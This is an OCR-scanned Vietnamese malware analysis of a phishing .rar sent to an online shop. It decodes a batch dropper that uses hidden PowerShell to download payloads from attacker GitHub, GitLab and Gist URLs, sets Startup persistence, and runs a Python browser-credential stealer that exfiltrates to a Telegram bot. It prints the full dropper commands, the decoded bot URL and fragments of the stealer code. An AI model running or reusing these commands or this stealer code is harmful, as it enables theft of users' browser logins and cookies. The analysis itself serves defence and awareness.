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Dao gan day noi 1én khé nhiéu su viéc lién quan dén céc shop ban hang online, céc c4 nhén,
doanh nghiép bi ké hu chiém doat tai khoan mang xa hoi. Thu doan cua cac doi twong thién
bién van héa, ngay cang tinh vi vé mat ki thuat. Mot trong nhitmg cach kha phé bién d6 1a du
d6 nan nhéan tai ma doc va thuc thi trén méy tinh dé chiém doat thoéng tin dang nhap tir trinh
duyét.

HOom qua minh c6 doc duwoc mot bai viét vé viéc mot nguoi dung thdy méa doc thong qua tin
nhan, bay gi¢ hdy cuing minh phan tich mé doc nay nhé.

Ngudi tham gia an danh
W Hom gua ldc 21:38 - &
Em chao anh/chi a. Nay em I& md file thu muc ma trude khi m& em nghi nghi ¢ virus nén em d3
qutes trudc file rar bang WINDOW DEFENDER rdi va béo khéng c6 mdi de doa nao. Xong em an
vao 6 bign. M&i khi em bat may tinh 1&n d8u bi chay chuong trinh cmd nhu trong anh, rat nhanh
chi co 1s xong t&t luén. Em rat lo khéng biét ki€u co phai lifa ddo xong tdng tién md khoa may
tinh hay nhu nao khdng a. Anh/chi cho em xin 181 khuyén vdi a

Chao shop
Bén em can nhap si mau hang nay

@® Photo-images-Mau-San-
Pham_2023-07-21-58 .rar

Shop check xem con hang bao

@7 10 men x [+
B I MDD S spstem 32 cmd e O * Fo% .
'II':) o

M6t shop ban hang online bi ké hw giri méa doéc qua tin nhan
Tom tat vu viec
Vao ngay 18/7/2023, mét ngudi dung an danh c6 dang tai 1én mang xa hoi vé su viéc bi mot

doi twong la nhan tin v6i ndi dung “Bén em can nhéap si mau hang nay” va dinh kém mot tap
tin .rar va yéu cau shop mé ra xem.

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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Nguoi dung nay dé giai nén va mé file 1én thi thay may tinh xudt hién mot tab terminal va
thuc thi cdc cu 1énh la. Nguoi nay da nghi ngo la virus va dang 1én facebook dé nho ho tro.

Day la mau file ma ngwoi dung thdy (link do nguwoi ddang bai viét cung

cap): https://drive.google.com/drive/folders/1 UGKQFqU3UAFmsfKPErZgMeQp7s2pRC0z
Qua trinh phan tich
Cac cong cu va moi truong

* Windows 10 (VMWare)
e IDA Pro

e Virustotal

e Any.run

* VS Code

Cac budc tién hanh

Dau tién minh sé tai file mau Photo-images-Mau-San-Pham_2023-07-21-58.rar vé mdy
4o Windows 10. O mdi truong nay minh bat windows defender dé dam bao rang méi truong
giébng nhw may tinh cta nguoi st dung binh thwong. Qua trinh tai file vé va giai nén déu

khong bi windows defender phat hién la ma doc.

> This PC > Downloads >

[ 1 Name Date modified Type Size
ThemidaDemo32_64 6/14/2023 8:59 PM File folder

Git-2.41.0-64-bitexe Application 59,211 KB

ﬂ Photo-images-Mau-5an-Pham_2023-0... nRAR archive KB

Ca python-3.11.4-amdb4.exe 6/12/2023 927 PM Application 24,831 KB

*i‘-f-l Radmin_Viewer_3.5.2.1_EN.msi 6/1/2023 2:41 PM Windows Installer .. 3,789 KB

XdJB: ¥/ Radmin_VPN_1.3.4570.5.exe 6/1/2023 238 PM  Applicatior 21,283 KB

Sdefw ﬂ ThemidaDemo32_64.zip 6/14/2023 8:59 PM WinRAR ZIP archive 61,655 KB
— upx_ADExplorer.exe 0/14/2023 9:01 PM Application 'af?hﬁﬁﬁng?@%ﬁgigm

File .rar khi vira tdi vé

Sau khi giai nén minh thdy mdt file c6 dinh dang .bat. Day la dinh dang cua mot file thuc thi
trén windows, file nay sé chita Shell Command dé kich hoat mot s6 hanh vi ma ké tan céng
mong muon.

Photo-images-Mau-San-Pham_2023-07-21-58

me Share View
T » This PC > Desktop Malware > Photo-images-Mau-San-Pham_2023-07-21-58
,: Name Date modified
ccess — X LinhKienThaoMay.Com
- Photo-images-Mau-San-Pham_2023-07-21-58 .bat 18/2023 334 PM VEalo:0389837923.C)

Noi dung bén trong file .rar sau khi gidi nén

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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Trwdéc day minh cling tung thay vai truong hop ké hw gi ma doc thong qua file nén
(file .rar) va dat mat khau gidi nén dé trdnh bi cdc chwong trinh Anti Virus phéat hién. Lan
nay ké tan coéng chi nén lai chit khong hé dat méat khau, ca qud trinh giai nén va thuc thi file
nay déu khong bi Windows Defender phat hién ==> Ma doc nay kha tinh vi vé mat ki thuat.

Vay bang cdch nao ma ma doc nay cé thé trén trdnh dugc Windows Defender ???

D€ giai dap cho cau hdi nay, minh sé két hop ca phén tich tinh va phéan tich dong dé xem né
hoat dong nhu thé nao. Minh st dung 2 trang web kha néi tiéng trong viéc phan tich ma doc
1a Virus Total va Any.run dé kiém tra file nay.

Virus Total c6 2/59 Security vendors’ analysis phat hién day
la HEUR:Trojan.BAT.Setter.gen

E bd 114 14 b 2 it 'l ] } ™ BN ] A . m
-
2
D
DETECTION DETALS RELATIONS BEHAVIOR COMMUNITY
o ¥T Comm tomate
pular th label h tog m| ]
Security vendors' a
LinhKienThao!
Ealo: 03833
Két qua Virus Total
Céc ban co thé Xxem két qua tai

day: https://www.virustotal.com/qui/file/b479ed8148185ad9f97105d1f4dalc63446c2fc23beb
5b06fb10fbc0e0774224/detection

Chi ¢6 2/59 security vendors danh gia day la ma doc ... mot con s6 kha nho

Riéng phan any.run minh st dung ban free va thuc thi trén hé diéu hanh Win7 32bit thi may
tinh xem file nay nhw mot tép van ban nén khong thuc thi.

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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Photo-images-Mau-San-Pham_2023-07-21-58 bat

Két qua any.run

Két qua any.run co thé Xem tai
day: https://app.any.run/tasks/93ef3df5-d4ec-4806-bece-0586544a3962/

Do diéu kién chuwa cho phép nén minh chwa cé co hoi thir chay ma doc nay trén nhiéu hé
diéu hanh khac nhau. Tuy nhién, minh nhan dinh so bd mé déc nay duwoc thiét ké cho cac
may tinh c6 hé diéu hanh phé bién hién nay (chdng han nhw Windows 10, ...)

Sau khi dd str dung 2 céng cu nay dé phdn tich déng, minh tién hanh phan tich tinh trén mdy
dao Windows 10.

Phan tich tinh trén may ao

St dung VSCode

Viéc dau tién minh lam d6 1a mé file nay bang VSCode dé xem bén trong né chira céi gi (cé
thé st dung notepad ciing dugc nhung minh dung VSCode cho giéng hacké)

Edit

Photo-images-Mau-5an-Pham_202

N6i dung file Photo-images-Mau-San-Pham_2023-07-21-58.bat
Méi dau minh thay may ki tw nay giéng tiéng Trung hay tiéng Nhat gi ddy nén minh nghi

chéc la bi ma hoa hay gi r6i. P& lam rd hon nd 1a gi thi minh chuyén sang budc ké tiép, st
dung IDA d€ kiém tra file nay xem thé nao.

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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St dung IDA
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bay roi

x DA View-A [ B HexView-1 B Structures ) Enums a Imports B8
slalelelelalelalelolslelale o le) D D ¥ ....@echo-off..s
000PEeRA0RERA10 et-eQ=y..set-MA=
slalelelelalelalelolslelols ple) @..set-RA=D..set
slalelelelalelalelolsle s Bl -JA=%..set-dA=t.
slalslalelalelalelalslel o ls) .set-VQ=U._set-Y
slalslalelalelalelalslelals ote) g=b..set-bQ=m..s
0B86000000000600 et-MQ=1..set-KA=
slalslalelalalalelalslelals ) (..set-bA=1..set
slalslalslalslalelalslelalaete) -LQ=-..set-Tg=N.
slalslalslalslalelalslelals e ) .set-cQ=g..set-e
slalslalslalslalelalslel s e g=z..set-lw=/..s
slalslalslalslalelalslelals]ae) et-aA=h..set-XA=
slalslalslalslals el lelals als) \..set-dg=v..set
006000000000068D0 -Jw="..set-0A=8.
00000000000000ES .set-Reg=F..setlo
slslslslalslalals s ls s s 5l o} cal-EnableDelaye
PP0PEPEDB0BOD 100 dExpansion..set-
00000000000001106 cg=r..set-aw=k..
0000000000000126 set-Ww=[..set-XQ
0000000000000136 =]..set-QQ=A. .se
0000000000000146 t-bw=0..set-cw=s
0000000000000150 ..set-Ow=; .. set-
0000000000000160 ZA=d..set-UA=P..
0860000000170 set-Uw=5..set-Zg
0060000000000 180 =f..set-aQ=1i..se

e~ 0000000000190 t-Mw=3..5et-IA=-
0000014F 000000000000014F: seg000:000000000000014F (Synchronized with IDA View-A) LinhKienThaoMay.Com

M4 d6c khi xem bang IDA Pro

Dé€ dé nhin hon thi minh st dung CyberChef, mét cong cu khé ndi tiéng doéi véi anh em choi
crypto.

« C B  hitps//geha.github.io/CyberChef/#recipe=From_Hex{ AutoJ&input=RkYgRkUgMECGMEEQNDAGNjUgNMgNjg. . AY 7 C ot & ¥ ¢ b)
Download CyberChef ! Last build: 8 days ago - Version 10 is here! Read about the new features here Options * About / Support 0 Q
Operations Recipe Bm s Input + O = &

FF FE @D @A 40 65 63 68 6F 20 6F 66 66 @D @A 73
replac n

P From Hax e 65 74 20 65 51 3D 79 @0 ©OA 73 65 74 20 4D 41 30 bl
- " 38 8D BA 73 65 74 20 52 41 3D 44 @D BA 73 65 T4
Find / Replace Dedwruter

Auto 29 4A 41 3D 24 9D BA 73 65 74 20 64 41 3D 74 @D "l
Bit shift right @A 73 65 74 20 56 51 3D 55 @D @A 73 65 74 20 59 o
g 67 3D 62 @D @A T3 65 T4 28 62 51 3D 6D 4D @A T3
ROT 65 74 2@ 4D 51 3D 31 @0 ©A 73 65 74 20 48 41 WD .
;s’;’n”_!'“ua.' o ’ S “"I—.‘ttll  LF
Remove Diacritics [
Output . BDm:a
SHAD ————— w
clsen
Streebog start chrome https://wew.aliexpress.us/ o +
€ \WINDOWS Sy stem32 \WindowsPowershel1\vl.@\powershell.exe -windowstyle hidden Invoke
Substitute WebRequest -URT https://raw.githubusercontent.com/al ibaba2e232023/haivel/main/start -
OutFile
N B * “Cr\\wsers\\$([Environment ] : :Username)\\AppData\ \Roaming\ \Microsoft\ \Windows\\ " Start
Menu® \\Programs\ \Startup\\WindowsSecure.bat™ ; ca
€1 \WINDOWS Sy stem32 \WindowsPowershel 1\vl.@\powershell.exe -windowstyle hidden Invoke
Data format WebRequest -URI
. https://gitlab.com/alibaba2023/alibaba/ - /raw/632FF700de86170331F3525133670a8736372990/D
Encryption / Encoding ocument.2ip -OutFile C:\\Users\\Public\\Document.zip;e:
i 2 \WINDOWS | System32 \WindowsPowershel 1\v1 .@\powershell.exe -windowstyle hidden Expand- a
Public Key STEP ﬂ Archive C:\\wsers\\Public\\Document.zip -DestinationPath C:\\users\\Public\LinhKienThaoMay.C
Aui Buke D S P Y T .. :
Ak rme e - 1887 = T (D 3ms  Tr sow syres & LF

Dboan ma sau khi decode tir Hex

Sau mot hoi thi dong bung nhung nay ciing dé nhin hon, doan ma minh thu dwoc nhw sau:

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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@echo off

set
set
set
set
set
set
set
set
set
set

eQ=y
MA=0
RA=D
JA=$%
dA=t
VQ=U
Yg=b
bQ=m
MQ=1
KA=(
set bA=1
set LQ=-
set Tg=N
set cQ=q
set eg=z
set Lw=/
set aA=h
set XA=\
set dg=v
set Jw='
set 0A=8
set Rg=F
setlocal EnableDelayedExpansion
set cg=r
set aw=k
set Ww=[
set XQ=
]
set QQ=A
set bw=0
set cw=s
set Ow=;
set ZA=d
set UA=P
set Uw=S
set Zg=f
set aQ=i
set Mw=3
set IA=
set Lg=.
set RQ=E
set bg=n
set Ig="
set Tw=0
set Ug=R

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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set Mg=2

set dw=w

set eA=x

set YQ=a

set 0g=:

set cA=p

set Nw=7

set dQ=u

set KQ=

)
set SQ=I
set Zw=g
set Vw=W
set TQ=M
set Yw=c
set Qw=C
set ZQ=e
cls
start chrome https://www.aliexpress.us/
C:\WINDOWS\System32\WindowsPowerShell\vl.0\powershell.exe -windowstyle
hidden Invoke-WebRequest -URI
https://raw.githubusercontent.com/alibaba20232023/haivcl/main/start -
OutFile
"C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\W
indows\\'Start Menu'\\Programs\\Startup\\WindowsSecure.bat";
C:\WINDOWS\System32\WindowsPowerShell\vl.0\powershell.exe -windowstyle
hidden Invoke-WebRequest -URI
https://gitlab.com/alibaba2023/alibaba/-/raw/632ff709de86170331f352513
3670a873637a990/Document.zip -OutFile C:\\Users\\Public\\Document.zip;
C:\WINDOWS\System32\WindowsPowerShell\vl.0\powershell.exe -windowstyle
hidden Expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath
C:\\Users\\Public\\Document;
C:\WINDOWS\System32\WindowsPowerShell\v1l.0\powershell.exe -windowstyle
hidden Invoke-WebRequest -URI
https://gist.githubusercontent.com/xjnhzajl2bl/fd8ac3eedbbb8b540a99bc3
0da23f9e5/raw/7a86a090d85645354046be0551f91874295dbe37f/ctyl6 -OutFile
C:\\Users\\Public\\Document\\project.py;
C:\WINDOWS\System32\WindowsPowerShell\vl.0\powershell.exe -windowstyle
hidden C:\\Users\\Public\\Document\\python
C:\\Users\\Public\\Document\\project.py;
start chrome https://www.aliexpress.us/

Sau khi d& c6 duoc doan code cua ké tdn coéng, bat dau quan sat luéng chuwong trinh nhé ...

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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Luong chuwong trinh

mal_txt b4

): > IncidentResponse > PhishingMalware > = mal.txt
@echo off
set eQ=y
MA=0
RA=D
JA=%

dA=t
VQ=U
Yg=b
bQ=m
MQ=1
KA=(
set ba=1

. . set L
Phan code dau tién

O phan code dau tién cé vé nhw ké tdn cong st dung obfuscate nén minh khong biét nhitng
bién duoc gan la gi ... cho nén minh nho ChatGPT deobfuscate dum doan nay.

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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To deobfuscate the provided code snippet, you can replace the single-character variable

names with more descriptive names. Here's the deobfuscated version of the code:

batch

CI Copy code

@echo off

Variable assignments
enableQuietMode=yes
mainVariable=0
randomVariable=D
joinVariable=%
defaultVariable=t
versionQuery=U
modeVariable=b
batchQuery=m
maxQuantity=1
keyArray=(

set letterA=1

set lineQuantity=-

LinhKienThaoMay.Com
Zalo: 0380937723

St dung ChatGPT deobfuscate

Poan code ma ChatGPT deobfuscate nhu sau:

@echo off

rem
set
set
set
set
set
set
set
set
set
set

Variable assignments
enableQuietMode=yes
mainVariable=0
randomVariable=D
joinVariable=$
defaultVariable=t
versionQuery=U
modeVariable=b
batchQuery=m
maxQuantity=1
keyArray=(

set
set
set
set
set
set

letterA=1
lineQuantity=-
toggleVariable=N
continueQuery=q
exitVariable=z
slashVariable=/

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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set actionVariable=h
set escapeCharacter=\
set debugVariable=v

set quoteCharacter="'
set optionArgument=8
set repeatVariable=F
setlocal EnableDelayedExpansion
set counterVariable=r
set auxiliaryVariable=k
set openBracket=[

set closeBracket=]

set sectionHeader=A

set basicVariable=o0

set conditionalVariable=s
set endLine=;

set numberVariable=d
set upperCaseVariable=P
set specialVariable=S
set lowercaseVariable=f
set inputVariable=i

set modeVariable=

set dotCharacter=.

set retryVariable=E

set blankVariable=n

set quoteCharacter="
set terminationVariable=0
set breakVariable=R

set digitVariable=2

set directoryVariable=w
set executeVariable=x
set characterVariable=a
set colonCharacter=:
set captureVariable=p
set digitVariable=7

set userQuery=u

set nullVariable=

rem Additional variable assignments
set searchQuery=I

set zoneVariable=g

set viewVariable=W

set typeQuery=M

set extensionVariable=c

set constantVariable=C

set letterQuery=e

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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cls

C6 vé dé nhin hon roi nhi, ngoai ra minh con nh¢ ChatGPT giai thich doan code nay. Minh
tom tat lai nhu sau:

» @echo off: Dong 1énh nay tat viéc hién thi 1énh trong clra s6 console khi script dang
chay. Nghia la céc 1énh trong script sé khéng duoc hién thi trudc khi duoc thuc thi.

« Cac dong tur set enableQuietMode=yes dén set maxQuantity=1 sé dat gia tri cho
c4c bién duoc st dung trong script. Moi bién déu duoc gan mot gié tri cu thé (anh em
chiu kho kéo 1én xem doan code bén trén nhé).

« set keyArray=(...) mang nay dinh nghia moi phén t cia mang nay la mot bién c6 tén
dai hon, dwoc gan mot gid tri cu thé. Mang nay khéng duoc st dung trong doan ma sau
nay, vi vay viéc dinh nghia nay c6 thé dwoc xem la khéng cé y nghia -> chac la troll
may ong di reverse cai code nay =))).

« M4y dong con lai bat dau bang set cling dung dé gan bién.

 Cudi cung la cls sé dung dé x6a man hinh ctra sé console (doan nay sé dung dé che
dau vét -> thuc thi doan gén bién xong xéa man hinh dé nguoi dung khéng kip nhin
thdy noi dung trong console)

To clear all information that appears in the Command Prompt window and return to a blank window,

type:
I Copy

cls

LinhFienThaoMay.Com
Ealo: 0389937723

Chttc nang cua lénh cls

Tiép theo mdi la phan quan trong, anh em nhé that day an toan (dimg dung may that dé thi
nghiém doan nay nhé).

Phan chinh ctia ma doc

Doan code moi nguoi xem ¢ day:

start chrome https://www.aliexpress.us/
C:\WINDOWS\System32\WindowsPowerShell\vl.0\powershell.exe -windowstyle
hidden Invoke-WebRequest -URI
https://raw.githubusercontent.com/alibaba20232023/haivcl/main/start -
OutFile
“C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\W
indows\\'Start Menu'\\Programs\\Startup\\WindowsSecure.bat";
C:\WINDOWS\System32\WindowsPowerShell\vl.0\powershell.exe -windowstyle

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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hidden Invoke-WebRequest -URI
https://gitlab.com/alibaba2023/alibaba/-/raw/632ff709de86170331f352513
3670a873637a990/Document.zip -OutFile C:\\Users\\Public\\Document.zip;
C:\WINDOWS\System32\WindowsPowerShell\vl.0\powershell.exe -windowstyle
hidden Expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath
C:\\Users\\Public\\Document;
C:\WINDOWS\System32\WindowsPowerShell\vl.0\powershell.exe -windowstyle
hidden Invoke-WebRequest -URI
https://gist.githubusercontent.com/xjnhzajl2bl/fd8ac3eedbbb8b540a99bc3
0da23f9e5/raw/7a86a090d85645354046be055f91874295dbe37f/ctyl6 -OutFile
C:\\Users\\Public\\Document\\project.py;
C:\WINDOWS\System32\WindowsPowerShell\vl.0\powershell.exe -windowstyle
hidden C:\\Users\\Public\\Document\\python
C:\\Users\\Public\\Document\\project.py;

start chrome https://www.aliexpress.us/

D€ dé hi€u hon thi cdc ban hay quan sat cac budc dudi day

® ©)
(>
) —
hitps://raw.githubusercontent.com
/alibaba20232023/haivcl/main/start
Budc 1: M3 01 tab chrome Budc 2: Tai ma ddc tu Github

|

Luu file ma doc vao thu muc Startup clia
Windows véi tén |a WindowsSecure.bat
C:\\Users\ \ $((Environment)::UserName)\ m

\AppData\ \Roaming\ \Microsoft\ \Windows\ Y
\ ‘Start Menu’\ \Programs\ \Startup\
\WindowsSecure.bat

LinhFienThaoMay.Com
Ealo: 0362837723

Khéi tao qud trinh tra &n

Budc 1: méd doc sé mé mot tab chrome truy céap vao trang web https://www.aliexpress.us/ ->
minh nghi muc dich cta ké tdn cong la danh lac huéng nguoi dung (nguoi dung sé khong dé
y dén tab console bén trén nita)

Budc 2: Tai mot file tw github vé, duwong dan cua file nay la

https://raw.githubusercontent.com/alibaba20232023/haivcl/main/start. Minh da truy cap vao
duong dan nay va thay két qua:

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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root@ctr798491: ~ o g v

root@ctr798491:~# curl https://raw.githubusercontent.com/alibaba20232023/haivcl/main/start
C:\WINDOWS\System32\WindowsPowerShell\v1l.@\powershell.exe -windowstyle hidden C:\\Users\\Public\

\Document\\python C:\\Users\\Public\\Document\\project.py;
root@ctr79849]1 : ~#

Poan code start

Day chinh 1a mot 1énh trong Windows Powershell, 1énh nay sé tao mdt tién trinh &n véi noi
dung laC:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\project.py;

Tién trinh nay sé khéi dong cung Windows (mo6i 1an nan nhan bat mdy 1én la tién trinh nay
sé khoi dong, cac ban sé thuong thay phan nay trong phan startup trén may Windows). Tién
trinh ma ké tdn cong mong muodn chinh la thwc thi file project.py dwoc luu
tai C:\\Users\\Public\\Document mé6i khi nguoi dung khéi déong may tinh.

Task Manager — 0O %
File Options View

Processes Performance App history Startup Users Details Services

n
& Microsoft Edge Microsoft Corporation Disabled High
L) Microsoft Edge Update Microsoft Corporation Disabled Low
@ Microsoft OneDrive Microsoft Corporation Disabled High
»al ¥ Radmin VPN Famatech Corp. Disabled Not measured
wd VMware Tools Core Service VMware, Inc. Disabled High
EB Windows Security notificatio.. Microsoft Corporation Disabled Low
WindowsSecure.bat Enabled Not measured
s
¥
Fewer details Disable

LinhKienThaoMay.Com
Ealo: 0360837723

Malware duoc cai dat vao Startup

Hanh vi cia ma doc nay theo nhw minh tim hi€u thi day la mot loai Malware Persistence.

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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Vay nguoi dung lay file project.py & dau ra?

L& nhw méy cta nan nhan khéng c6 python thi thyc thi céi file nay ki€u gi?

Dé trd 10i cho 2 cau hoi nay, hay di vao budc ké tiép.

Document.zip

C:\\Users\ \Public\ \Document.zip C:\\Users\ \ Public\ \Document

|
A

python.exe
—_—

C:\\Users\ \Public\ \Document\ \ project.py

hittps: //gist. githubusarcontent.com/... /ety 16

LinhKienThaoMay.Com
Ealo: 0360837723

Tai phan chinh ctia ma doc

Budc 3: Thiét 1ap mot két noi tai xuong tw gitlab mot file c6 tén la Document.zip, minh
khong biét tai sao ké tan cong lai lua chon gitlab dé luu trit file nay thay vi sit dung github
nhw nhiimg file code trudc d6. Chdc la ddy file zip 1én github odn hon gitlab (cdi nay minh
doan thoi).

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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Alibaba @ Upload New File
O Project information oo babs
B Re y
ain ]
O Issues
I1 Merge req. E
& a
Name
() Deployments
& Pack 1 1 b ¥
Z) Mon D &
B Ana
READM:
0 wi
X Snippets ) README.md
Alibaba

Repository chita Document.zip

Last commit

1 file Clone ~
Last update

LinhKienThaoMay.Com
Ealo: 0360837723

Bwdéc 4: Sau khi tai vé mday tinh nan nhén, file Document.zip duwoc luwu tai
folder C:\Users\Public\Document. Minh ¢4 tai file nay vé d€ giai nén, két qua nhw hinh
dwdi day (folder trong hinh la minh tai thu cong chit khong phai con malware tai vé):

> This PC > Desktop > Malware > Document >
[ ] Name

DLLs
Lib
[ = python.exe
=| python310.dll
2| veruntime140.dll
=] veruntime140_1.dl

-~

us Us

L9
Document.zip sau khi giai nén.

Date modified

5 /1 33 2:32 PM

- ,
5/10/2023 2:32

5/10/2023 2:36 PM

3 12:47 AM

4/5/2023 12:47 AM

4/5/2023 12:47 AM

Size
101
4,355
96
37

LinhFienThaoMay Com
Falo: 0389837723

D€ xéc dinh xem file python.exe nay c6 phai ma doc hay khéng, minh da st dung VirusTotal

dé kiém tra

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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&) www.virustotal.com G M

Win16 NE executable (generic) (23.3% 0S/2 Executable (genenc) (9.3% Genenc Win'DOS Executable (9.2%

Compiler: M soft Visual ( ++ (2018 v 161 r16.11 Linker: Microsofl Linker (14 29 Visual Studio 2019 16 10 or 16 11"

| . LinhKienThaoMay.Com
N B 92 bytes Ealo: 0360837723

Két qua VirusTotal

Két qua cho thay python.exe khong phai file doc hai, ngoai ra minh biét dwoc day la python
phién ban 3.1

Budc 5: Ma doc ti€p tuc tai vé mot file tw gist.githubusercontent.com va luu
thanh C:\Users\Public\Document\project.py

Thoi diém minh viét bai nay
file https://gist.githubusercontent.com/xjnhzajl12b1/fd8ac3eedbbb8b540a99bc30da2
3f9e5/raw/7a86a090d85645354046be055f91874295dbe37f/ctyl6 da bi x6a (hoac di
chuyén di ch6 nao d6). Tuy nhién trudc dé minh cé xem xét repository github cta cac doi
twong nay thi doan ma & duong dan nay lai trung khép véi céc file ¢é tén la scan*

o ;
_1 scan »at n
3 LinhKienThaoMay.Com

scantutnew Nt £ Tala: 0360937723
Cac file twong tw
Diém khdc biét cla céc file nay la dia chi telegram ma dir liéu sé& dwoc gri dén (sé duoc dé
cap dudi day). Bay gio minh sé di vao phan tich 1 trong cac file scan* nay (minh sé lya ra

file gan giong ma doc goc nhat theo nhw tri nhé cua minh cam nhéan).

Khic nay phén tich code hoi cang, anh em giai lao xiu roi doc tiép nhé =)))

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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Import thw vién

Vé phan import cac thu vién, hacker nay xai kha nhiéu thu vién lién quan dén ma hda. Ngoai
ra, sqlite3 cling duoc dé cap trong doan code nay -> c6 vé dung sqlite dé luu trir tam thoi
trén may nan nhan.

Tiép dén la phan khai bao bién, cac bién duwoc dé cap dén dia chi IP, thanh pho, mé code, ...
cua nan nhéan. Bién url la két qua cua mot request dén endpoint
https://gist.githubusercontent.com/alibaba20232023/f616aaaab71d1c6947e48e8543f95d31/
raw/4fc3b3a279acfab35f2¢945cf5faa975f691f50b/ffcl

11.3.8] on linux
for mo information.

ontent.com/alibaba2 l6aaaab71d1c694T7e

print(url)
//ip3

Két qua gia tri bién url

Minh da st dung python d€ kiém tra gié tri bién url, két qua cho thdy url =
https://ipinfo.io. Hacker da loi dung API cua ipinfo.io d€ 1dy thong tin cta nan nhan.

Tiép dén lan luot l1a cac bién newtime, name _f, crypt. Vé bién newtime va name_f thi
minh cé thé suy ra duoc cau tric cua tén file ma hacker dat.

Phan ma minh to mo nhat, cling 1a m&u chét dé minh ti€p tuc chuyén muc Hack the
hacker (¢ bén dwéi) chinh la bién crypt.

Thong tin bién
Do doan code str dung ham base64decode nén minh decode ra va duoc két qua:

root@ctr798491:~# echo "aHROcHM6LYy9IhcGkudGVsZWdyYWOub3JInL2JvdDYyNjQzNjMxNDQEQUFFbUhxZ1dQWL9K
TEp5Zkt1lcUxpODE@ObVMXxMXZQeDU3R1kvc2VuZERVY3VEZW50" | baseéd -d ; echo '

https://api.telegram.org/bot626U4363144: AAEmHqgWPZ_JLJyfKeqlLi81UmS11vPx57GY/sendDocument
root@ctr798u491:~# |

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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Két qua decode base64

O .... Day la mot API cua bot telegram, ¢6 vé nhw day chinh la phuong tién ma hacker dung
dé nhén thong tin danh cap duoc tir nan nhéan.

Telegram la mot ing dung nhan tin giéng nhw messenger, discord, slack. Day la
mot trong nhitng tmg dung dugc déanh gia la c6 tinh bao mét cao, chinh vi li do
nay ma céc hacker thuong loi dung dé lam kénh trao déi va ti€p nhan dir liéu tur
may nan nhan dé khé bi phat hién.

Ham dau tién & trong doan code nay cé nhiém vu kiém tra xem tién trinh chrome.exe trén
may nan nhan cé hoat dong hay khong, néu c6 -> kill tién trinh nay.

def check chrome running():
for proc in os.popen( tasklist').readlines():
it 'chrome.exe' in proc:
return True

return False
it check chrome running():

os.system( 'taskkill /f /im chrome.exe')
else:print("")

Ham kiém tra tién trinh chrome

Ham ké tiép la tim kiém Profile trén may tinh nan nhan, ham nay sé phuc vu cho viéc tim
kiém céc file luu trén mdy tinh (cu thé 1a dé truy cap vao folder cla trinh duyét trén may).

def find profile(path userdata):
profile path = []
for name in os.listdir(path userdata):
it name.startswith("Profile") or name == 'Default’:

dir path = os.path.join(path _userdata, name)
profile path.append(dir path)
return profile path

Ham tim kiém profile
Céc ham ké tiép duoc st dung dé truy cép vao folder cla trinh duyét véi muc dich 1a trich

xuat céc file dir liéu nhay cam cua nguoi dung nhu: thong tin dang nhép trén trinh duyét,
cookie, trang thai.

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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Ham truy xuat thong tin trinh duyét
Minh ghi thay ham thuc hién hanh vi nay, gom cac ham: gx0c, gx0e, gx0b, gx0o, gxOcc,

gx0ch, gx0f. Mot trong nhiing trinh duyét ma hacker nham t6i gom: chrome, edge, brave,
opera, firefox, chromium va mot trinh duyét cuc ki dac biét -> trinh duyét Coc Coc.

xcept :print(""

Ham khai thdc Coc Coc
==> Khd nang cao day la ma doc nhdm thang vao ngudi dung Viét Nam.

Sau khi da trich xuat nhirmg dir liéu nhay cam tir phia nan nhéan, hacker tién hanh mé héa
cac dit liéu nay va luu vao sqlite database.

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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‘os_crypt™]["encrypted key"])

ectData(master key, None, None, None

(login_db)

ion_url, username_value, pa ord_value FROM logins™)

url = r[e]
username r(1]

encrypted_passy

Phan mé hoa va luwu trir dit liéu sau khi trich xudt minh xin phép khoéng dé cap, cac ban cé
thé doc code

tai https://github.com/alibaba20232023/haivcl/blob/d5603297367819e18930f866194b4ba75

9bd84af/testvl (day la méa doc that cta ké tan cong, can than khi tai vé nhé).

Giai doan cudi cung la nén dir liéu va guri dén telegram cua ké tan cong.

Tai liéu nay duoc tai tir website: http://linhkienthaomay.com. Zalo ho tro: 0389937723
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hutil.rmtre

Déng géi dir lidu va di cuyé

Trude khi van chuyén céc file nay, dit liéu dugc déng goi & dinh dang .zip. Diéu nay sé giltp
cho dir liéu nhe hon, tién loi cho qud trinh van chuyén va tranh bi phét hién.

Tu cac dit kién tir bén trén, minh tom tat qué trinh mé déc thuc thi nhw sau:

=
i - P —_— (>

1.Ngudi dung md3 may 2. python.exe project.py 3. Thu thGp thong tin trinh duyét
cua n@n nhan

|
B O [

6. Thdng bdo cho hacker 5. Luu fra da liéu 4. bong gdi du liéu

LinhKienThaoMay.Com
Ealo: 0360837723

Tém tat qué trinh ma doc thuc thi
Truy xuat nguén goc ma doc

